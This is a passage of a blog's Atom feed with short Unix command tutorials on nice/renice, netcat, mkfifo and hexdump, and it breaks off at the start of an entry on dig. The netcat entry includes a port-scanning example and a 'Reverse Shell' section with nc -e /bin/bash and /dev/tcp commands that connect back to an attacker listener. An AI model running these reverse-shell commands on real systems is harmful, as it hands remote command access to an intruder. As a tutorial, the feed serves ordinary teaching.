   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/nice.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/nice</id>
   <content type="html">&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nice&lt;/code&gt; command allows you to start a process with a specific priority level. In Unix-like systems, process priorities range from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-20&lt;/code&gt; (highest priority) to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;19&lt;/code&gt; (lowest priority). By default, a process starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To start a process with a lower priority (giving other processes more CPU time), use:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;nice&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 10 some_command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;some_command&lt;/code&gt; runs with a niceness of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10&lt;/code&gt;, making it less CPU-hungry compared to others.&lt;/p&gt;

&lt;p&gt;If you need to increase priority, a negative value can be used:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo nice&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-5&lt;/span&gt; some_command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since only the superuser can decrease niceness (increase priority), you need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;renice&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;renice&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;If a process is already running, you can change its priority with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;renice&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;renice &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 5 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1234
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This modifies the priority of the process with PID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1234&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5&lt;/code&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Daily Unix Command - netcat</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/netcat.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/netcat</id>
   <content type="html">&lt;p&gt;Below is a set of example snippets demonstrating common netcat (nc) use cases. Each snippet is accompanied by a brief explanation to help you interpret what’s happening.&lt;/p&gt;

&lt;h2 id=&quot;establishing-a-simple-clientserver-connection&quot;&gt;Establishing a Simple Client–Server Connection&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;br /&gt;
Create a basic two-way communication (like a chat) between two machines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On the Server (Listener):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Listen on port 1234 with verbose output&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-lv&lt;/span&gt; 1234
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;On the Client (Connector):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Connect to the server at IP 192.168.1.100 on port 1234 with verbose output&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; 192.168.1.100 1234
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Interpretation:&lt;/em&gt;&lt;br /&gt;
Once connected, text you type in one terminal appears on the other. This simple setup confirms that a TCP connection is established between the two systems.&lt;/p&gt;

&lt;h2 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;br /&gt;
Scan a remote host for open ports. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-z&lt;/code&gt; flag tells nc to only check connectivity (zero I/O mode).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Scan ports 20 to 80 on the target host (using -n to skip DNS lookups)&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-zvn&lt;/span&gt; 192.168.1.100 20-80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Interpretation:&lt;/em&gt;&lt;br /&gt;
The command prints messages for each port attempt. Open ports will show a “succeeded” message. (Note: No output may appear for open ports unless you use verbose mode.)&lt;/p&gt;

&lt;h2 id=&quot;file-transfer&quot;&gt;File Transfer&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;br /&gt;
Transfer a file from one system to another over a network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On the Receiving System:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Listen on port 4444 and redirect incoming data into a file&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-lv&lt;/span&gt; 4444 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; received_file.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;On the Sending System:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Send the file to the receiver at IP 192.168.1.100 on port 4444&lt;/span&gt;
nc 192.168.1.100 4444 &amp;lt; file_to_send.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Interpretation:&lt;/em&gt;&lt;br /&gt;
The file “file_to_send.txt” is transmitted over the network and saved as “received_file.txt” on the receiver. Confirm with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -l&lt;/code&gt; or by checking the file contents.&lt;/p&gt;

&lt;h2 id=&quot;creating-a-simple-web-server&quot;&gt;Creating a Simple Web Server&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;br /&gt;
Serve a static HTML page using netcat.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Create an HTML file (index.html):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Netcat Web Server&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Hello from Netcat!&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;This page is served using netcat.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Serve the Page:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# In an infinite loop, listen on port 8080 and send the HTML file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;HTTP/1.1 200 OK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type: text/html&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;index.html&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; | nc &lt;span class=&quot;nt&quot;&gt;-lv&lt;/span&gt; 8080
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Interpretation:&lt;/em&gt;&lt;br /&gt;
Open your browser and navigate to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&amp;lt;server_IP&amp;gt;:8080&lt;/code&gt; to see the HTML page. The HTTP header is built with echo, then the file is served via nc.&lt;/p&gt;

&lt;h2 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt;&lt;br /&gt;
Establish a reverse shell to gain remote command-line access.&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Only use this in controlled, ethical testing environments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;On the Attacker’s Machine (Listener):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Listen on port 5555 with verbose output&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-lvnp&lt;/span&gt; 5555
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;On the Target Machine (Reverse Shell Initiator):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Connect back to the attacker&apos;s IP (e.g., 192.168.1.100) on port 5555&lt;/span&gt;
nc &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; /bin/bash 192.168.1.100 5555
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Interpretation:&lt;/em&gt;&lt;br /&gt;
The target machine opens a shell and pipes it to the attacker’s listener, giving the attacker remote command execution.&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-e&lt;/code&gt; option is disabled (common in many netcat versions), you can try the alternative bash reverse shell:&lt;/p&gt;

  &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/bin/bash &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/192.168.1.100/5555 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

</content>
 </entry>
 
 <entry>
   <title>Unix Command - mkfifo</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/mkfifo.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/mkfifo</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;Understanding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfifo&lt;/code&gt; Command in Linux: Creating Named Pipes for Inter-Process Communication&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In Linux, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfifo&lt;/code&gt; command is used to create named pipes, also known as FIFOs (First In, First Out). These special files enable efficient inter-process communication (IPC) by allowing data to flow between unrelated processes in a unidirectional manner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Are Named Pipes (FIFOs)?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Unlike anonymous pipes, which are typically used between related processes and exist only during the execution of the pipeline, named pipes are persistent entities in the filesystem. They appear as regular files and can be accessed by any process with appropriate permissions, facilitating data exchange across different parts of a system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Creating a Named Pipe with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfifo&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To create a named pipe, you can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfifo&lt;/code&gt; command followed by the desired name of the pipe:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkfifo &lt;/span&gt;mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command creates a FIFO special file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mypipe&lt;/code&gt; in the current directory. You can verify its creation by listing the files with detailed information:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output will indicate that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mypipe&lt;/code&gt; is a named pipe:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
prw-r--r-- 1 user user 0 Mar 28 12:00 mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Setting Permissions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;By default, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfifo&lt;/code&gt; sets the permissions of the named pipe to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0666&lt;/code&gt;, modified by the current umask. To specify different permissions during creation, use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m&lt;/code&gt; option followed by the desired mode:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkfifo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 0644 mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Using Named Pipes for Communication&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Named pipes are useful for facilitating communication between unrelated processes. For example, one process can write data to the named pipe, and another process can read from it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;In one terminal window&lt;/strong&gt;, create a named pipe and write data to it:&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Hello, World!&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;In another terminal window&lt;/strong&gt;, read the data from the named pipe:&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &amp;lt; mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second terminal will display “Hello, World!” when it reads from the pipe. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt; command will block until data is available to read from the pipe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Removing Named Pipes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once a named pipe is no longer needed, it can be deleted like any regular file using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm&lt;/code&gt; command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;rm &lt;/span&gt;mypipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</content>
 </entry>
 
 <entry>
   <title>Unix Command - hexdump</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/hexdump.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/hexdump</id>
   <content type="html">&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt; command is a versatile tool in Unix-like operating systems that allows users to view the contents of files or data streams in a human-readable hexadecimal format. This is particularly useful for inspecting binary files, debugging, or analyzing data structures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Basic Usage:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To display the contents of a file in a hexadecimal format, you can use:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command outputs the file’s contents in a default format, typically showing the offset (address), hexadecimal values, and ASCII characters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common Options:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-C&lt;/code&gt;: Provides a canonical hex+ASCII display, showing both hexadecimal values and their corresponding ASCII characters side by side.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-C&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;&lt;em&gt;Example Output:&lt;/em&gt;&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000  48 65 6c 6c 6f 2c 20 77  6f 72 6c 64 21 0a        |Hello, world!.|
0000000e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-n length&lt;/code&gt;: Interprets only the specified number of bytes from the input.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 16 filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This command reads and displays only the first 16 bytes of the file.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-s offset&lt;/code&gt;: Skips the specified number of bytes from the beginning before starting to display.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; 8 filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This skips the first 8 bytes and then begins displaying the content.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-e format_string&lt;/code&gt;: Allows for custom formatting of the output.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;16/1 &quot;%02x &quot; &quot;\n&quot;&apos;&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This command displays the file’s contents in a continuous hexadecimal string, 16 bytes per line.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Inspecting Binary Files:&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;To examine the raw contents of a binary file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt; can reveal non-printable characters and data structures.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-C&lt;/span&gt; binaryfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Analyzing File Headers:&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;Many file formats have specific headers. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt;, you can inspect these headers to determine file types or troubleshoot issues.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 64 &lt;span class=&quot;nt&quot;&gt;-C&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;This displays the first 64 bytes, which often contain header information.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Comparing Files:&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;By viewing files in hexadecimal, you can spot differences between them, especially when dealing with binary data.&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-C&lt;/span&gt; file1 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; file1.hex
hexdump &lt;span class=&quot;nt&quot;&gt;-C&lt;/span&gt; file2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; file2.hex
diff file1.hex file2.hex
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Additional Tips:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;To display the contents of a file without replacing duplicate lines with asterisks (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;), use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v&lt;/code&gt; option:&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For a more compact output, displaying only the hexadecimal values without ASCII representation:&lt;/p&gt;

    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hexdump &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;16/1 &quot;%02x &quot;&apos;&lt;/span&gt; filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt; command is a powerful utility for anyone needing to inspect or analyze the raw contents of files. Its flexibility and range of options make it an essential tool for system administrators, developers, and analysts working with binary data.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Unix Command - dig</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/dig.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/dig</id>
   <content type="html">&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dig&lt;/code&gt; is a powerful DNS lookup tool that gives you info about the Domain Name System.&lt;/p&gt;

